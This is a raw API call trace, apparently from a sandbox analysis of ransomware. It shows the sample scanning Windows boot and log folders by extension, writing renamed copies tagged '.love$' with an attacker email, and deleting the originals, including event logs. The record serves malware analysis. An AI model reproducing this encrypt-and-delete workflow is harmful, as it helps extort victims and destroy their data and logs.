[0224.036] lstrlenW (lpString=".pdf") returned 4 [0224.036] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.036] lstrlenW (lpString=".xls") returned 4 [0224.036] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.036] lstrlenW (lpString=".xlsx") returned 5 [0224.036] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.036] lstrlenW (lpString=".ppt") returned 4 [0224.036] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.036] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.036] lstrlenW (lpString=".zip") returned 4 [0224.036] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.036] lstrlenW (lpString=".rar") returned 4 [0224.036] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.036] lstrlenW (lpString=".bz2") returned 4 [0224.036] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.036] lstrlenW (lpString=".7z") returned 3 [0224.036] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.036] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.036] lstrlenW (lpString=".dbf") returned 4 [0224.036] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.036] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.036] lstrlenW (lpString=".1cd") returned 4 [0224.036] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.036] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.037] lstrlenW (lpString=".jpg") returned 4 [0224.037] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.037] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.037] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.037] lstrlenW (lpString=".doc") returned 4 [0224.037] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.037] lstrlenW (lpString=".docx") returned 5 [0224.037] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.037] lstrlenW (lpString=".pdf") returned 4 [0224.037] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.037] lstrlenW (lpString=".xls") returned 4 [0224.037] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.037] lstrlenW (lpString=".xlsx") returned 5 [0224.037] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.037] lstrlenW (lpString=".ppt") returned 4 [0224.037] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.037] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.037] lstrlenW (lpString=".zip") returned 4 [0224.037] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.037] lstrlenW (lpString=".rar") returned 4 [0224.037] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.037] lstrlenW (lpString=".bz2") returned 4 [0224.037] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.037] lstrlenW (lpString=".7z") returned 3 [0224.037] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.037] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.038] lstrlenW (lpString=".dbf") returned 4 [0224.038] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.038] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.038] lstrlenW (lpString=".1cd") returned 4 [0224.038] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.038] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.038] lstrlenW (lpString=".jpg") returned 4 [0224.038] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.038] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0224.038] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0224.038] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.038] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=75616) returned 1 [0224.039] CloseHandle (hObject=0x390) returned 1 [0224.039] GetFileAttributesW (lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0224.039] GetFileAttributesW (lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.039] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.039] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.039] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.039] lstrlenW (lpString=".doc") returned 4 [0224.039] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.039] lstrlenW (lpString=".docx") returned 5 [0224.039] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.039] lstrlenW (lpString=".pdf") returned 4 [0224.039] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.039] lstrlenW (lpString=".xls") returned 4 [0224.039] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.039] lstrlenW (lpString=".xlsx") returned 5 [0224.039] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.040] lstrlenW (lpString=".ppt") returned 4 [0224.040] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.040] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.040] lstrlenW (lpString=".zip") returned 4 [0224.040] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.040] lstrlenW (lpString=".rar") returned 4 [0224.040] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.040] lstrlenW (lpString=".bz2") returned 4 [0224.040] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.040] lstrlenW (lpString=".7z") returned 3 [0224.040] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.040] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.040] lstrlenW (lpString=".dbf") returned 4 [0224.040] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.040] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.040] lstrlenW (lpString=".1cd") returned 4 [0224.040] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.040] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.040] lstrlenW (lpString=".jpg") returned 4 [0224.040] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.040] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.040] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.040] lstrlenW (lpString=".doc") returned 4 [0224.040] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.040] lstrlenW (lpString=".docx") returned 5 [0224.040] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.040] lstrlenW (lpString=".pdf") returned 4 [0224.040] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.041] lstrlenW (lpString=".xls") returned 4 [0224.041] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.041] lstrlenW (lpString=".xlsx") returned 5 [0224.041] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.041] lstrlenW (lpString=".ppt") returned 4 [0224.041] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.041] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.041] lstrlenW (lpString=".zip") returned 4 [0224.041] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.041] lstrlenW (lpString=".rar") returned 4 [0224.041] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.041] lstrlenW (lpString=".bz2") returned 4 [0224.041] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.041] lstrlenW (lpString=".7z") returned 3 [0224.041] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.041] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.041] lstrlenW (lpString=".dbf") returned 4 [0224.041] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.041] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.041] lstrlenW (lpString=".1cd") returned 4 [0224.041] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.041] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0224.041] lstrlenW (lpString=".jpg") returned 4 [0224.041] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.042] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0224.042] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0224.042] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.042] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=75608) returned 1 [0224.042] CloseHandle (hObject=0x390) returned 1 [0224.042] GetFileAttributesW (lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0224.042] GetFileAttributesW (lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.042] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.042] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.042] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.043] lstrlenW (lpString=".doc") returned 4 [0224.043] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.043] lstrlenW (lpString=".docx") returned 5 [0224.043] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.043] lstrlenW (lpString=".pdf") returned 4 [0224.043] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.043] lstrlenW (lpString=".xls") returned 4 [0224.043] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.043] lstrlenW (lpString=".xlsx") returned 5 [0224.043] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.043] lstrlenW (lpString=".ppt") returned 4 [0224.043] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.043] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.043] lstrlenW (lpString=".zip") returned 4 [0224.043] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.043] lstrlenW (lpString=".rar") returned 4 [0224.043] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.043] lstrlenW (lpString=".bz2") returned 4 [0224.043] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.043] lstrlenW (lpString=".7z") returned 3 [0224.043] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.043] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.043] lstrlenW (lpString=".dbf") returned 4 [0224.043] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.043] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.043] lstrlenW (lpString=".1cd") returned 4 [0224.043] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.043] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.043] lstrlenW (lpString=".jpg") returned 4 [0224.044] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.044] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.044] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.044] lstrlenW (lpString=".doc") returned 4 [0224.044] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.044] lstrlenW (lpString=".docx") returned 5 [0224.044] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.044] lstrlenW (lpString=".pdf") returned 4 [0224.044] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.044] lstrlenW (lpString=".xls") returned 4 [0224.044] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.044] lstrlenW (lpString=".xlsx") returned 5 [0224.044] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.044] lstrlenW (lpString=".ppt") returned 4 [0224.044] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.044] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.044] lstrlenW (lpString=".zip") returned 4 [0224.044] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.044] lstrlenW (lpString=".rar") returned 4 [0224.044] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.044] lstrlenW (lpString=".bz2") returned 4 [0224.044] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.044] lstrlenW (lpString=".7z") returned 3 [0224.044] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.044] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.044] lstrlenW (lpString=".dbf") returned 4 [0224.044] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.045] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.045] lstrlenW (lpString=".1cd") returned 4 [0224.045] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.045] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0224.045] lstrlenW (lpString=".jpg") returned 4 [0224.045] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.045] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0224.045] lstrlenW (lpString="memtest.exe") returned 11 [0224.045] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.045] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=811936) returned 1 [0224.045] CloseHandle (hObject=0x390) returned 1 [0224.046] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0224.046] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\memtest.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.046] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.046] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0224.046] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0224.047] lstrlenW (lpString=".doc") returned 4 [0224.047] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0224.047] lstrlenW (lpString=".docx") returned 5 [0224.047] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0224.047] lstrlenW (lpString=".pdf") returned 4 [0224.047] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0224.047] lstrlenW (lpString=".xls") returned 4 [0224.047] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0224.047] lstrlenW (lpString=".xlsx") returned 5 [0224.047] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0224.047] lstrlenW (lpString=".ppt") returned 4 [0224.047] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0224.047] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0224.047] lstrlenW (lpString=".zip") returned 4 [0224.047] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0224.047] lstrlenW (lpString=".rar") returned 4 [0224.047] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0224.047] lstrlenW (lpString=".bz2") returned 4 [0224.047] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0224.047] lstrlenW (lpString=".7z") returned 3 [0224.047] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0224.047] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0224.243] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.243] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.244] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0224.245] GetLastError () returned 0x0 [0224.245] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.279] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.279] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x136, lpOverlapped=0x0) returned 1 [0224.279] SetEndOfFile (hFile=0x3b8) returned 1 [0224.280] CloseHandle (hObject=0x3b8) returned 1 [0224.284] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.284] SetEndOfFile (hFile=0x3b4) returned 1 [0224.285] CloseHandle (hObject=0x3b4) returned 1 [0224.286] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.286] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0224.286] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.286] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.287] lstrlenW (lpString=".doc") returned 4 [0224.287] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString=".docx") returned 5 [0224.287] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.287] lstrlenW (lpString=".pdf") returned 4 [0224.287] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString=".xls") returned 4 [0224.287] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString=".xlsx") returned 5 [0224.287] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.287] lstrlenW (lpString=".ppt") returned 4 [0224.287] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.287] lstrlenW (lpString=".zip") returned 4 [0224.287] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString=".rar") returned 4 [0224.287] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString=".bz2") returned 4 [0224.287] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString=".7z") returned 3 [0224.287] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.287] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.287] lstrlenW (lpString=".dbf") returned 4 [0224.287] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.287] lstrlenW (lpString=".1cd") returned 4 [0224.287] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.287] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.287] lstrlenW (lpString=".jpg") returned 4 [0224.287] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.288] lstrlenW (lpString=".doc") returned 4 [0224.288] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString=".docx") returned 5 [0224.288] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.288] lstrlenW (lpString=".pdf") returned 4 [0224.288] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString=".xls") returned 4 [0224.288] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString=".xlsx") returned 5 [0224.288] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.288] lstrlenW (lpString=".ppt") returned 4 [0224.288] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.288] lstrlenW (lpString=".zip") returned 4 [0224.288] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString=".rar") returned 4 [0224.288] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString=".bz2") returned 4 [0224.288] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString=".7z") returned 3 [0224.288] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.288] lstrlenW (lpString=".dbf") returned 4 [0224.288] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.288] lstrlenW (lpString=".1cd") returned 4 [0224.288] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0224.288] lstrlenW (lpString=".jpg") returned 4 [0224.289] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.289] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.289] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0224.289] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0224.289] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0224.289] CloseHandle (hObject=0x3b4) returned 1 [0224.289] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0224.289] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.290] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0224.290] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.290] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.290] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0224.290] GetLastError () returned 0x0 [0224.290] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.296] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.669] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.669] 